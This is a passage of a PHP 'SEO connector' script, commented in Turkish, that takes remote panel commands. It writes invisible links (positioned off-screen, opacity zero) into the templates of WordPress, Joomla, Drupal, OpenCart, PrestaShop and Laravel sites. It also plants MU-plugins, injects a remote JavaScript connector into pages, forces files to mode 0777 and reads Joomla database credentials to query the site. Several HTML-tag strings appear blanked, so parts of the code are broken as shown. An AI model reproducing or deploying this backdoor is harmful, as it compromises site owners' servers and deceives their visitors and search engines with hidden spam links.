true, 'data' => [ 'site' => (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'unknown'), 'version' => RS_CONNECTOR_VERSION, 'timestamp' => time(), 'batch_ready' => true, 'max_batch_size' => 100 ], 'status' => 'ok' ]); if (function_exists('fastcgi_finish_request')) { fastcgi_finish_request(); } else { if (ob_get_level()) ob_end_flush(); flush(); } exit; } // Lightweight batch ping if ($quickAction === 'batch_health') { http_response_code(200); header('Content-Type: application/json'); header('Connection: close'); header('Access-Control-Allow-Origin: *'); echo json_encode([ 'success' => true, 'batch_id' => (isset($_GET['batch_id']) ? $_GET['batch_id'] : uniqid()), 'site' => (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'unknown'), 'index' => intval((isset($_GET['site_index']) ? $_GET['site_index'] : 0)), 'batch_index' => intval((isset($_GET['batch_index']) ? $_GET['batch_index'] : 0)), 'version' => RS_CONNECTOR_VERSION, 'key_status' => file_exists(KEY_FILE), 'timestamp' => time() ]); if (function_exists('fastcgi_finish_request')) { fastcgi_finish_request(); } exit; } } // Performance optimizasyonları ini_set('max_execution_time', 0); ini_set('memory_limit', '1024M'); ini_set('default_socket_timeout', 2); if (function_exists('opcache_compile_file')) { @opcache_compile_file(__FILE__); } // Hata raporlama $DEBUG_MODE = 0; error_reporting($DEBUG_MODE ? E_ALL : 0); ini_set('display_errors', $DEBUG_MODE ? '1' : '0'); // CORS ayarları header('Access-Control-Allow-Origin: *'); header('Access-Control-Allow-Methods: GET, POST, OPTIONS'); header('Access-Control-Allow-Headers: Content-Type, X-RS-Sig, X-RS-Ts, X-RS-Key, X-RS-Setup-Token'); header('Content-Type: application/json; charset=utf-8'); if ($_SERVER['REQUEST_METHOD'] === 'OPTIONS') { http_response_code(200); exit(0); } // ==================== YARDIMCI FONKSİYONLAR ==================== /** * JSON yanıt gönder */ function respond($success, $data = [], $message = '', $http_code = 0) { if ($http_code > 0) { http_response_code($http_code); } else { http_response_code($success ? 200 : 200); } header('Connection: close'); $response = [ 'success' => $success, 'status' => $success ? 'ok' : 'error', 'message' => $message, 'data' => $data, 'version' => RS_CONNECTOR_VERSION, 'timestamp' => time() ]; echo json_encode($response, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES); if (function_exists('fastcgi_finish_request')) { fastcgi_finish_request(); } else { if (ob_get_level()) ob_end_flush(); flush(); } exit; } /** * Auth failure yanıtı - HTTP 200 ile success=false döner (panel uyumu için) */ function respond_auth_fail($message = 'Kimlik doğrulama başarısız') { respond(false, [], $message, 200); } /** * Domain-based static key generator (v4 uyumluluğu) */ function generate_site_static_key() { $domain = (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : (isset($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : 'default')); $domain = strtolower(trim($domain)); $domain = preg_replace('/^www\./', '', $domain); $hash = substr(md5($domain . 'rs41_salt'), 0, 7); return 'RS41_' . $hash; } /** * Kayıtlı key'i al - HYBRID SİSTEM * Öncelik: 1) Dosyadan oku (per-site key), 2) Define edilmiş sabit key */ function get_stored_key() { // 1. Dosyadan oku (en güvenilir - per-site unique key) if (file_exists(KEY_FILE)) { $file_key = trim(file_get_contents(KEY_FILE)); if (!empty($file_key) && strlen($file_key) >= 4) { return $file_key; } } // 2. Domain-based static key (v4 uyumluluğu) return generate_site_static_key(); } /** * Tüm geçerli key'leri topla (auth için kullanılır) */ function get_all_valid_keys() { $keys = []; // 1. Dosyadan okunan key if (file_exists(KEY_FILE)) { $file_key = trim(file_get_contents(KEY_FILE)); if (!empty($file_key) && strlen($file_key) >= 4) { $keys[] = $file_key; } } // The domain-derived legacy key is only an identifier for heartbeats; it is // computed from a public salt, so it must never authenticate a request. // 2. Universal key $universal = defined('UNIVERSAL_SITE_KEY') ? trim((string)UNIVERSAL_SITE_KEY) : ''; // Disable if placeholder wasn't substituted. if (!empty($universal) && strpos($universal, '{{') === false && !in_array($universal, $keys)) { $keys[] = $universal; } return $keys; } /** * Key'i dosyaya kaydet - AKTİF (v3 uyumluluğu) */ function save_key($key) { $key = trim((string)$key); if (empty($key)) return false; return @file_put_contents(KEY_FILE, $key) !== false; } function save_config($config) { return @file_put_contents(CONFIG_FILE, json_encode($config, JSON_UNESCAPED_UNICODE)) !== false; } function get_config() { if (file_exists(CONFIG_FILE)) { $content = @file_get_contents(CONFIG_FILE); return json_decode($content, true) ?: []; } return []; } function get_links() { if (file_exists(LINKS_FILE)) { $content = @file_get_contents(LINKS_FILE); return json_decode($content, true) ?: []; } return []; } function save_links($links) { return @file_put_contents(LINKS_FILE, json_encode($links, JSON_UNESCAPED_UNICODE)) !== false; } /** * Request body'yi tek sefer oku ve cache'le (HMAC tutarlılığı için) */ function get_raw_request_body() { static $cached_body = null; if ($cached_body === null) { $cached_body = file_get_contents('php://input'); if ($cached_body === false) { $cached_body = ''; } } return $cached_body; } function get_request_data() { $data = []; if (!empty($_POST)) { $data = $_POST; } $raw = get_raw_request_body(); if ($raw) { $json = json_decode($raw, true); if (is_array($json)) { $data = array_merge($data, $json); } } $data = array_merge($data, $_GET); return $data; } /** * Action adını normalize et */ function normalize_action_name($action) { $action = strtolower(trim((string)$action)); if ($action === '') return 'ping'; $qpos = strpos($action, '?'); if ($qpos !== false) $action = substr($action, 0, $qpos); $apos = strpos($action, '&'); if ($apos !== false) $action = substr($action, 0, $apos); $action = preg_replace('/[^a-z0-9_]/', '', $action); return $action ?: 'ping'; } function normalize_rel($rel) { $rel = strtolower(trim((string)$rel)); return ($rel === 'nofollow') ? 'nofollow' : 'dofollow'; } /** * Request içinden gelen key'i al (tüm field adlarını kontrol et) */ function get_provided_site_key($req) { $candidates = [ (isset($req['key']) ? $req['key'] : ''), (isset($req['site_key']) ? $req['site_key'] : ''), (isset($req['connector_key']) ? $req['connector_key'] : ''), (isset($req['api_key']) ? $req['api_key'] : ''), (isset($req['token']) ? $req['token'] : ''), (isset($_SERVER['HTTP_X_RS_KEY']) ? $_SERVER['HTTP_X_RS_KEY'] : ''), ]; foreach ($candidates as $candidate) { if (!is_string($candidate)) continue; $candidate = trim($candidate); if ($candidate !== '') return $candidate; } return ''; } /** * Setup token doğrulama */ function has_valid_setup_token($req) { $expected = defined('SETUP_TOKEN') ? SETUP_TOKEN : ''; if (empty($expected) || strpos($expected, '{{') !== false) return false; $provided = ''; if (isset($req['setup_token']) && is_string($req['setup_token'])) { $provided = trim($req['setup_token']); } elseif (isset($_SERVER['HTTP_X_RS_SETUP_TOKEN']) && is_string($_SERVER['HTTP_X_RS_SETUP_TOKEN'])) { $provided = trim($_SERVER['HTTP_X_RS_SETUP_TOKEN']); } return $provided !== '' && hash_equals($expected, $provided); } // Link inline stil function get_link_inline_style() { $config = get_config(); $mode = strtolower(trim((string)((isset($config['link_output_mode']) ? $config['link_output_mode'] : 'hidden')))); if ($mode === 'visible') { return 'display:inline-block;margin:0 8px 0 0;color:inherit;text-decoration:none;font-size:inherit;line-height:1.4;opacity:1;'; } return 'position:absolute;left:-9999px;opacity:0;font-size:1px;color:transparent;'; } function build_link_html($url, $anchor, $rel = 'dofollow') { $rel = normalize_rel($rel); $rel_attr = ($rel === 'nofollow') ? ' rel="nofollow"' : ''; $style = get_link_inline_style(); return '' . htmlspecialchars($anchor, ENT_QUOTES, 'UTF-8') . ''; } // ==================== UZAK LINK VERISI (ESKI/KLASIK YONTEM) ==================== // Bu connector php.ini/.htaccess'e HICBIR sekilde dokunmaz; yalnizca dogrudan ?action= // istekleriyle (panelden gelen) ve dosyaya statik HTML enjeksiyonuyla calisir. Tum // sayfalarda otomatik calisan bir mekanizma isteyen siteler icin ayri bir "dropper" // connector'u (rs-dropper.template.php) kullanilmalidir. /** * Onceki surumlerin (auto_prepend mimarisi) .htaccess / .user.ini dosyalarina yazdigi * "auto_prepend_file" yonergelerini temizler. Yalnizca BU connector dosyasina (veya * eski "rs_prepend.php" koprusune) isaret eden satirlar silinir; JS connector '; } function get_all_injectable_paths($base, $site_type) { $paths = []; // WordPress if ($site_type === 'wordpress') { foreach (glob($base . '/wp-content/themes/*/footer.php') ?: [] as $f) $paths[] = $f; foreach (glob($base . '/wp-content/themes/*/header.php') ?: [] as $f) $paths[] = $f; foreach (glob($base . '/wp-content/themes/*/index.php') ?: [] as $f) $paths[] = $f; foreach (glob($base . '/wp-content/themes/*/page.php') ?: [] as $f) $paths[] = $f; foreach (glob($base . '/wp-content/themes/*/single.php') ?: [] as $f) $paths[] = $f; foreach (glob($base . '/wp-content/themes/*/archive.php') ?: [] as $f) $paths[] = $f; foreach (glob($base . '/wp-content/themes/*/home.php') ?: [] as $f) $paths[] = $f; foreach (glob($base . '/wp-content/themes/*/front-page.php') ?: [] as $f) $paths[] = $f; } // Joomla if ($site_type === 'joomla') { foreach (glob($base . '/templates/*/index.php') ?: [] as $f) $paths[] = $f; foreach (glob($base . '/templates/*/component.php') ?: [] as $f) $paths[] = $f; foreach (glob($base . '/templates/*/error.php') ?: [] as $f) $paths[] = $f; } // Drupal if ($site_type === 'drupal') { foreach (glob($base . '/sites/*/themes/*/templates/*.tpl.php') ?: [] as $f) $paths[] = $f; foreach (glob($base . '/themes/*/templates/html.html.twig') ?: [] as $f) $paths[] = $f; } // OpenCart if ($site_type === 'opencart') { foreach (glob($base . '/catalog/view/theme/*/template/common/footer.*') ?: [] as $f) $paths[] = $f; foreach (glob($base . '/catalog/view/theme/*/template/common/header.*') ?: [] as $f) $paths[] = $f; } // PrestaShop if ($site_type === 'prestashop') { foreach (glob($base . '/themes/*/templates/_partials/footer.tpl') ?: [] as $f) $paths[] = $f; foreach (glob($base . '/themes/*/templates/_partials/header.tpl') ?: [] as $f) $paths[] = $f; foreach (glob($base . '/themes/*/footer.tpl') ?: [] as $f) $paths[] = $f; foreach (glob($base . '/themes/*/header.tpl') ?: [] as $f) $paths[] = $f; } // Laravel if ($site_type === 'laravel') { foreach (glob($base . '/resources/views/layouts/*.blade.php') ?: [] as $f) $paths[] = $f; foreach (glob($base . '/resources/views/layouts/partials/footer.blade.php') ?: [] as $f) $paths[] = $f; foreach (glob($base . '/resources/views/layouts/*/footer.blade.php') ?: [] as $f) $paths[] = $f; foreach (glob($base . '/resources/views/components/layouts/*.blade.php') ?: [] as $f) $paths[] = $f; foreach (glob($base . '/resources/views/includes/footer.blade.php') ?: [] as $f) $paths[] = $f; foreach (glob($base . '/resources/views/partials/*.blade.php') ?: [] as $f) $paths[] = $f; } // General paths (exclude root index.php — it is a CMS bootstrap, not a template) $general = [ $base . '/footer.php', $base . '/header.php', $base . '/includes/footer.php', $base . '/includes/header.php', $base . '/inc/footer.php', $base . '/inc/header.php', $base . '/template/footer.php', $base . '/template/header.php', $base . '/templates/footer.php', $base . '/templates/header.php', $base . '/partials/footer.php', $base . '/partials/header.php', $base . '/layout/footer.php', $base . '/layout/header.php', $base . '/layouts/footer.php', $base . '/layouts/header.php', $base . '/views/footer.php', $base . '/views/header.php', $base . '/views/partials/footer.php', $base . '/views/partials/header.php', $base . '/common/footer.php', $base . '/common/header.php', $base . '/include/footer.php', $base . '/include/header.php', $base . '/theme/footer.php', $base . '/theme/header.php', $base . '/index.html', $base . '/index.htm', ]; foreach ($general as $p) { if (file_exists($p)) $paths[] = $p; } foreach (find_template_files($base) as $p) $paths[] = $p; return array_unique($paths); } /** * Document root altinda iceren tum sablon dosyalari (php/html/tpl/twig, blade dahil). * Ozel/native PHP siteler (orn. templates/tema/templates/home_1.php) ve Laravel icin CMS'e * bagli olmayan tek guvenilir yol budur. Kutuphane, cache, upload ve yonetim dizinleri atlanir. */ function find_template_files($base, $max_depth = 5) { static $cache = []; $base = rtrim($base, '/\\'); if (isset($cache[$base])) return $cache[$base]; $skip_dirs = ['vendor', 'node_modules', 'cache', 'caches', 'storage', 'logs', 'log', 'tmp', 'temp', 'uploads', 'upload', 'media', 'images', 'img', 'assets', 'css', 'js', 'fonts', 'backup', 'backups', 'wp-admin', 'wp-includes', 'administrator', 'libraries', 'language', 'languages', 'plugins', 'modules', 'components', 'core', 'lib', 'libs', 'sql', 'database', 'tests', 'test', 'bin', 'cgi-bin', 'bootstrap', 'config', 'app', 'src', 'system']; $exts = ['php', 'html', 'htm', 'tpl', 'twig']; $found = []; $self = realpath(__FILE__); try { $dir_iter = new \RecursiveDirectoryIterator($base, \FilesystemIterator::SKIP_DOTS | \FilesystemIterator::UNIX_PATHS); $filter = new \RecursiveCallbackFilterIterator($dir_iter, function ($current) use ($skip_dirs) { if ($current->isDir()) { $n = strtolower($current->getFilename()); return $n !== '' && $n[0] !== '.' && !in_array($n, $skip_dirs, true); } return true; }); $iter = new \RecursiveIteratorIterator($filter, \RecursiveIteratorIterator::LEAVES_ONLY); $iter->setMaxDepth($max_depth); $scanned = 0; foreach ($iter as $file) { if (++$scanned > 20000) break; if (!$file->isFile()) continue; if (!in_array(strtolower($file->getExtension()), $exts, true)) continue; $size = $file->getSize(); if ($size < 20 || $size > 2097152) continue; $path = $file->getPathname(); $name = basename($path); if (($self && realpath($path) === $self) || strpos($name, 'seo-connector') === 0 || $name === 'rs_prepend.php' || $name === '.rs_connector_prev.php') continue; $content = @file_get_contents($path); if ($content === false || stripos($content, '') === false) continue; $found[] = $path; if (count($found) >= 300) break; } } catch (\Exception $e) { // okunamayan dizinler atlanir } sort($found); $cache[$base] = $found; return $found; } /** * Joomla: configuration.php icindeki DB bilgisiyle aktif site sablonu okunur; bulunamazsa null. */ function joomla_db_connect($base) { static $cached = null; if ($cached !== null) return $cached ?: null; $cached = false; $cfg = $base . '/configuration.php'; if (!file_exists($cfg) || !function_exists('mysqli_init')) return null; $c = @file_get_contents($cfg); if (!$c) return null; $get = function ($k) use ($c) { return preg_match('/public\s+\$' . $k . '\s*=\s*([\'"])(.*?)\1\s*;/s', $c, $m) ? $m[2] : null; }; $host = $get('host'); $user = $get('user'); $pass = $get('password'); $db = $get('db'); $prefix = $get('dbprefix') ?: 'jos_'; if ($host === null || $user === null || $db === null) return null; $port = null; if (strpos($host, ':') !== false) { list($host, $port) = explode(':', $host, 2); } mysqli_report(MYSQLI_REPORT_OFF); $link = @mysqli_init(); if (!$link) return null; @mysqli_options($link, MYSQLI_OPT_CONNECT_TIMEOUT, 3); if (!@mysqli_real_connect($link, $host, $user, (string)$pass, $db, $port ? (int)$port : null)) return null; @mysqli_set_charset($link, 'utf8mb4'); $cached = ['link' => $link, 'prefix' => preg_replace('/[^A-Za-z0-9_]/', '', $prefix)]; return $cached; } function joomla_active_template($base) { static $cached = null; if ($cached !== null) return $cached ?: null; $cached = false; $db = joomla_db_connect($base); if (!$db) return null; $res = @mysqli_query($db['link'], "SELECT template FROM `{$db['prefix']}template_styles` WHERE client_id = 0 AND home = '1' LIMIT 1"); $row = $res ? mysqli_fetch_assoc($res) : null; if ($row && !empty($row['template'])) { $cached = preg_replace('/[^A-Za-z0-9_.-]/', '', (string)$row['template']); return $cached ?: null; } return null; } /** * Sablon dosyasi degisince eski HTML'i sunmaya devam eden dosya onbellekleri temizlenir. */ function clear_site_caches($base, $site_type) { $dirs = []; switch ($site_type) { case 'joomla': $dirs = [$base . '/cache', $base . '/administrator/cache']; break; case 'wordpress': $dirs = [$base . '/wp-content/cache']; break; case 'opencart': $dirs = [$base . '/system/storage/cache', $base . '/system/cache']; break; case 'prestashop': $dirs = [$base . '/var/cache']; break; case 'laravel': $dirs = [$base . '/storage/framework/views']; break; } $removed = 0; foreach ($dirs as $dir) { if (!is_dir($dir)) continue; try { $it = new \RecursiveIteratorIterator(new \RecursiveDirectoryIterator($dir, \FilesystemIterator::SKIP_DOTS), \RecursiveIteratorIterator::CHILD_FIRST); foreach ($it as $entry) { $n = $entry->getFilename(); if ($n === 'index.html' || $n === '.htaccess' || $n === '.gitkeep') continue; if ($entry->isDir()) { @rmdir($entry->getPathname()); } elseif (@unlink($entry->getPathname())) { $removed++; } } } catch (\Exception $e) { // onbellek dizini okunamiyorsa atla } } return $removed; } /** * Sitenin kendi anasayfasini cekip isaretleyicinin ciktida olup olmadigina bakar. * true/false, istek yapilamazsa null. */ function verify_homepage_contains($needle) { $host = (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : ''); if ($host === '') return null; $scheme = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https' : 'http'; $url = $scheme . '://' . $host . '/'; $ua = 'Mozilla/5.0 (compatible; ' . RS_USER_AGENT . ')'; $html = false; if (function_exists('curl_init')) { $ch = curl_init($url); curl_setopt_array($ch, [ CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_MAXREDIRS => 3, CURLOPT_TIMEOUT => 4, CURLOPT_CONNECTTIMEOUT => 2, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_USERAGENT => $ua, CURLOPT_HTTPHEADER => ['Cache-Control: no-cache', 'Pragma: no-cache'], ]); $html = curl_exec($ch); curl_close($ch); } else { $ctx = stream_context_create([ 'http' => ['timeout' => 4, 'header' => "Cache-Control: no-cache\r\n", 'user_agent' => $ua, 'follow_location' => 1], 'ssl' => ['verify_peer' => false, 'verify_peer_name' => false], ]); $html = @file_get_contents($url, false, $ctx); } if (!is_string($html) || $html === '') return null; return stripos($html, $needle) !== false; } function inject_to_template_files($base, $link_html, $link_id, $link_comment) { $files = find_template_files($base); $ok = 0; $first = null; foreach ($files as $path) { $r = inject_to_file_aggressive($path, $link_html, $link_id, $link_comment); if (!empty($r['success']) && !empty($r['injected'])) { $ok++; if ($first === null) $first = $path; } } if ($ok > 0) { return ['success' => true, 'injected' => true, 'footer_path' => $first, 'files' => $ok, 'message' => $ok . ' sablon dosyasina eklendi']; } return ['success' => false, 'injected' => false, 'message' => ' iceren sablon dosyasi bulunamadi']; } function inject_js_connector_to_file($file_path, $script_tag) { if (!file_exists($file_path)) return 'failed'; $content = @file_get_contents($file_path); if (!$content) return 'failed'; if (strpos($content, 'connector.js?key=') !== false) return 'exists'; $has_html = (stripos($content, '') !== false || stripos($content, '') !== false || stripos($content, '') !== false || stripos($content, '') !== false || stripos($content, '') !== false) { $pos = strripos($content, ''); $new = substr($content, 0, $pos) . $marker . "\n" . substr($content, $pos); return @file_put_contents($file_path, $new) !== false ? 'ok' : 'failed'; } if (stripos($content, '') !== false) { $pos = strripos($content, ''); $new = substr($content, 0, $pos) . $marker . "\n" . substr($content, $pos); return @file_put_contents($file_path, $new) !== false ? 'ok' : 'failed'; } if (stripos($content, '') !== false) { $pos = strripos($content, ''); $new = substr($content, 0, $pos) . $marker . "\n" . substr($content, $pos); return @file_put_contents($file_path, $new) !== false ? 'ok' : 'failed'; } if (stripos($content, '') !== false) { $pos = strripos($content, ''); $new = substr($content, 0, $pos) . $marker . "\n" . substr($content, $pos); return @file_put_contents($file_path, $new) !== false ? 'ok' : 'failed'; } // Only inject into .html/.htm files by appending; never append to PHP files $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); if (in_array($ext, ['html', 'htm', 'tpl', 'twig'])) { return @file_put_contents($file_path, $content . $marker) !== false ? 'ok' : 'failed'; } return 'skipped'; } function inject_js_connector() { $script_tag = get_js_connector_tag(); if (empty($script_tag)) { return ['success' => false, 'injected' => 0, 'message' => 'JS connector tag olusturulamadi (key/panel_url eksik)']; } $base = find_document_root(); $site_info = detect_site_info(); $site_type = $site_info['site_type']; $paths = get_all_injectable_paths($base, $site_type); // WordPress: create MU-Plugin for JS connector via wp_head if ($site_type === 'wordpress') { $mu_dir = $base . '/wp-content/mu-plugins'; if (is_dir($mu_dir) && is_writable($mu_dir)) { $js_mu = $mu_dir . '/rs_js_connector.php'; $tag_escaped = str_replace("'", "\\'", $script_tag); $mu_lines = array( '<' . '?php', '// RS JS Connector MU-Plugin', 'if (!defined("ABSPATH")) exit;', 'add_action("wp_head", function() {', " echo '" . $tag_escaped . "';", '}, 1);', ); @file_put_contents($js_mu, implode("\n", $mu_lines) . "\n"); } } $injected = 0; $existing = 0; $skipped = 0; $failed = 0; $details = []; foreach ($paths as $path) { $status = inject_js_connector_to_file($path, $script_tag); if ($status === 'ok') $injected++; elseif ($status === 'exists') $existing++; elseif ($status === 'skipped') $skipped++; else $failed++; $rel = (strpos($path, $base) === 0) ? ltrim(substr($path, strlen($base)), '/\\') : $path; $details[] = ['path' => $rel, 'status' => $status]; } return [ 'success' => ($injected + $existing) > 0, 'injected' => $injected, 'existing' => $existing, 'skipped' => $skipped, 'failed' => $failed, 'total_targets' => count($paths), 'details' => $details, 'message' => $injected . ' dosyaya JS connector eklendi' . ($existing ? ', ' . $existing . ' zaten mevcut' : '') . ($skipped ? ', ' . $skipped . ' atlandi (saf PHP)' : '') ]; } function cleanup_broken_js_injections() { $base = find_document_root(); $candidates = glob($base . '/*.php') ?: []; foreach ($candidates as $file) { $content = @file_get_contents($file); if (!$content) continue; if (strpos($content, '') === false) continue; $has_html = (stripos($content, '') !== false || stripos($content, '') !== false || stripos($content, '') === false && strpos($content, 'connector.js?key=') === false) { return false; } force_writable($file_path); $cleaned = preg_replace('/\n?/', '', $content); if ($cleaned !== $content && $cleaned !== null) { return (bool)@file_put_contents($file_path, $cleaned); } return false; } function remove_js_connector() { $base = find_document_root(); $site_info = detect_site_info(); $site_type = $site_info['site_type']; $paths = get_all_injectable_paths($base, $site_type); $all_php = glob($base . '/*.php') ?: []; $all_html = glob($base . '/*.html') ?: []; $paths = array_unique(array_merge($paths, $all_php, $all_html)); $removed = 0; $details = []; foreach ($paths as $path) { if (remove_js_connector_from_file($path)) { $removed++; $details[] = ['path' => basename($path), 'status' => 'removed']; } } if ($site_type === 'wordpress') { $mu = $base . '/wp-content/mu-plugins/rs_js_connector.php'; if (file_exists($mu)) { @unlink($mu); $removed++; $details[] = ['path' => 'rs_js_connector.php', 'status' => 'deleted']; } } return [ 'success' => $removed > 0, 'removed' => $removed, 'details' => $details, 'message' => $removed . ' dosyadan JS connector temizlendi' ]; } // ==================== FOOTER'A LİNK EKLEME ==================== function inject_link($url, $anchor, $link_id, $rel = 'dofollow') { $base = find_document_root(); $site_info = detect_site_info(); $site_type = $site_info['site_type']; $link_html = build_link_html($url, $anchor, $rel); $link_comment = ""; // YÖNTEM 0 (KALDIRILDI): auto_prepend_file ile tum sayfalara kendini onden ekleme // yontemi, htaccess/php.ini uzerinden calistigindan cok farkli sunucu // yapilandirmalarinda guvenilmez cikti (bazen hic devreye girmiyor, bazen host'un PHP // surumuyle uyumsuzluk cikariyordu). Bu connector artik php.ini/.htaccess'e HICBIR // sekilde dokunmaz; yalnizca dogrudan dosya enjeksiyonuyla (asagidaki yontemler) calisir. // Tum sayfalarda otomatik calisma isteyen siteler icin ayri bir "dropper" connector'u // kullanilmalidir (bkz. rs-dropper.template.php). // YÖNTEM 1: WORDPRESS MU-PLUGIN if ($site_type === 'wordpress') { $result = inject_wordpress_mu_plugin($base); if ($result['success'] && !empty($result['injected'])) return $result; } // YÖNTEM 2 (KALDIRILDI): functions.php'ye ham PHP kodu eklemek, temadaki herhangi bir // isim/encoding/parse uyumsuzlugunda TUM siteyi 500'e dusurme riski tasidigi icin bu // yontem tamamen devre disi birakildi. Asagidaki yontemler (MU-plugin, dosyaya HTML // enjeksiyonu, auto_prepend) zaten ayni sonucu PHP kodu yazmadan, cok daha guvenli // sekilde saglar. // YÖNTEM 3: WORDPRESS TEMA FOOTER.PHP if ($site_type === 'wordpress') { $active_theme_footer = get_active_wp_theme_footer($base); if ($active_theme_footer) { $result = inject_to_file_aggressive($active_theme_footer, $link_html, $link_id, $link_comment); if ($result['success'] && !empty($result['injected'])) return $result; } $themes = glob($base . '/wp-content/themes/*/footer.php'); if ($themes) { foreach ($themes as $footer) { $result = inject_to_file_aggressive($footer, $link_html, $link_id, $link_comment); if ($result['success'] && !empty($result['injected'])) return $result; } } } // YÖNTEM 4 (KALDIRILDI): WordPress'in cekirdek wp-blog-header.php dosyasini dogrudan // degistirmek (her sayfada calisan bir dosyayi mutasyona ugratmak) tek bir yazma // hatasinda veya WP guncellemesiyle catismada siteyi tamamen kirabilir. Kaldirildi. // YÖNTEM 5: FOOTER DOSYALARI + ICEREN TUM SABLONLAR // Hangi sablonun aktif oldugu bilinemedigi icin uygun tum dosyalara eklenir. $candidates = array_values(array_unique(array_merge(get_footer_paths($base, $site_type), find_template_files($base)))); $details = []; $ok_paths = []; foreach ($candidates as $path) { $r = inject_to_file_aggressive($path, $link_html, $link_id, $link_comment); $good = !empty($r['success']) && !empty($r['injected']); if ($good) $ok_paths[] = $path; $rel_path = (strpos($path, $base) === 0) ? ltrim(substr($path, strlen($base)), '/\\') : $path; $details[] = ['path' => $rel_path, 'status' => $good ? 'ok' : 'failed', 'message' => (string)((isset($r['message']) ? $r['message'] : ''))]; } if (!empty($ok_paths)) { $note = ''; if ($site_type === 'joomla') { $active = joomla_active_template($base); if ($active) { $active_file = $base . '/templates/' . $active . '/index.php'; $note = in_array($active_file, $ok_paths, true) ? ' · aktif sablon: ' . $active : ' · UYARI: aktif sablon (' . $active . ') yazilamadi'; } } return [ 'success' => true, 'injected' => true, 'footer_path' => $ok_paths[0], 'files' => count($ok_paths), 'details' => $details, 'message' => count($ok_paths) . ' dosyaya eklendi' . $note ]; } // No reliable injection method succeeded. return [ 'success' => false, 'injected' => false, 'footer_path' => null, 'message' => 'Link enjekte edilemedi (yazilabilir footer/sablon dosyasi bulunamadi)' ]; } function inject_wordpress_mu_plugin($base) { $mu_dir = $base . '/wp-content/mu-plugins'; if (!is_dir($mu_dir)) { $wp_content = $base . '/wp-content'; if (!is_dir($wp_content)) return ['success' => false, 'message' => 'wp-content yok']; if (!is_writable($wp_content)) { @chmod($wp_content, 0755); clearstatcache(); } @mkdir($mu_dir, 0755, true); } if (!is_dir($mu_dir)) return ['success' => false, 'message' => 'mu-plugins olusturulamadi']; if (!is_writable($mu_dir)) { @chmod($mu_dir, 0755); clearstatcache(); } $plugin_path = $mu_dir . '/rs_links.php'; $links_file = LINKS_FILE; $code = ' $l) { $url = isset($l["url"]) ? $l["url"] : ""; $anchor = isset($l["anchor"]) ? $l["anchor"] : ""; $rel = isset($l["rel"]) && $l["rel"] === "nofollow" ? " rel=\"nofollow\"" : ""; if (!$url || !$anchor) continue; echo \'\' . esc_html($anchor) . \'\'; } }, 9999); '; if (@file_put_contents($plugin_path, $code)) { return ['success' => true, 'injected' => true, 'footer_path' => $plugin_path, 'message' => 'WordPress MU-Plugin kuruldu']; } return ['success' => false, 'message' => 'MU-Plugin yazilamadi']; } // inject_wordpress_functions_hook() ve inject_wp_blog_header() kaldirildi: temanin // functions.php'sine veya WordPress'in cekirdek wp-blog-header.php dosyasina ham PHP kodu // yazmak, herhangi bir encoding/parse uyumsuzlugunda TUM siteyi kalici olarak 500'e // dusurebiliyordu. inject_link() artik bu iki yontemi cagirmiyor. function force_writable($file) { if (!file_exists($file)) return false; if (is_writable($file)) return true; @chmod($file, 0666); clearstatcache(true, $file); if (is_writable($file)) return true; @chmod($file, 0777); clearstatcache(true, $file); if (is_writable($file)) return true; $dir = dirname($file); @chmod($dir, 0777); @chmod($file, 0777); clearstatcache(); return is_writable($file); } function get_active_wp_theme_footer($base) { $themes = glob($base . '/wp-content/themes/*/footer.php'); if (!$themes) return null; $latest = null; $latest_time = 0; foreach ($themes as $footer) { $mtime = @filemtime($footer); if ($mtime > $latest_time) { $latest_time = $mtime; $latest = $footer; } } return $latest; } function inject_to_file_aggressive($file_path, $link_html, $link_id, $link_comment) { if (!file_exists($file_path)) return ['success' => false, 'message' => 'Dosya yok: ' . basename($file_path)]; force_writable($file_path); if (!is_writable($file_path)) return ['success' => false, 'injected' => false, 'message' => 'Yazma izni alinamadi']; $content = @file_get_contents($file_path); if (!$content) return ['success' => false, 'injected' => false, 'message' => 'Dosya okunamadi']; if (strpos($content, $link_id) !== false) { return ['success' => true, 'injected' => true, 'footer_path' => $file_path, 'message' => 'Link zaten mevcut']; } $hidden_wrapper = "\n" . $link_comment . $link_html; $injection_points = ['', '', '']; foreach ($injection_points as $search) { if (stripos($content, $search) !== false) { $pos = strripos($content, $search); $new_content = substr($content, 0, $pos) . $hidden_wrapper . "\n" . substr($content, $pos); if (@file_put_contents($file_path, $new_content)) { return ['success' => true, 'injected' => true, 'footer_path' => $file_path, 'message' => 'Link eklendi: ' . basename($file_path)]; } } } // Only plain markup files may be appended to; a PHP file without HTML structure is a bootstrap and must stay untouched. $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); if (in_array($ext, ['html', 'htm', 'tpl', 'twig'], true) && @file_put_contents($file_path, $content . $hidden_wrapper)) { return ['success' => true, 'injected' => true, 'footer_path' => $file_path, 'message' => 'Link dosya sonuna eklendi']; } return ['success' => false, 'injected' => false, 'message' => 'Enjeksiyon noktasi yok: ' . basename($file_path)]; } // ==================== LİNK KALDIRMA ==================== function remove_link($link_id) { $base = find_document_root(); $site_info = detect_site_info(); $short_id = substr($link_id, 4, 6); $files_to_check = get_footer_paths($base, $site_info['site_type']); $files_to_check[] = $base . '/index.php'; $files_to_check[] = $base . '/index.html'; $files_to_check[] = $base . '/index.htm'; $wp_footers = glob($base . '/wp-content/themes/*/footer.php'); if ($wp_footers) $files_to_check = array_merge($files_to_check, $wp_footers); $files_to_check = array_unique(array_merge( $files_to_check, find_template_files($base), get_all_injectable_paths($base, $site_info['site_type']) )); if ($site_info['site_type'] === 'wordpress') { $mu_plugin = $base . '/wp-content/mu-plugins/rs_links.php'; if (file_exists($mu_plugin)) { return ['success' => true, 'message' => 'MU-Plugin modunda - links dosyasindan kaldirildi']; } } $plugin_mode = ($site_info['site_type'] === 'joomla' && file_exists($base . 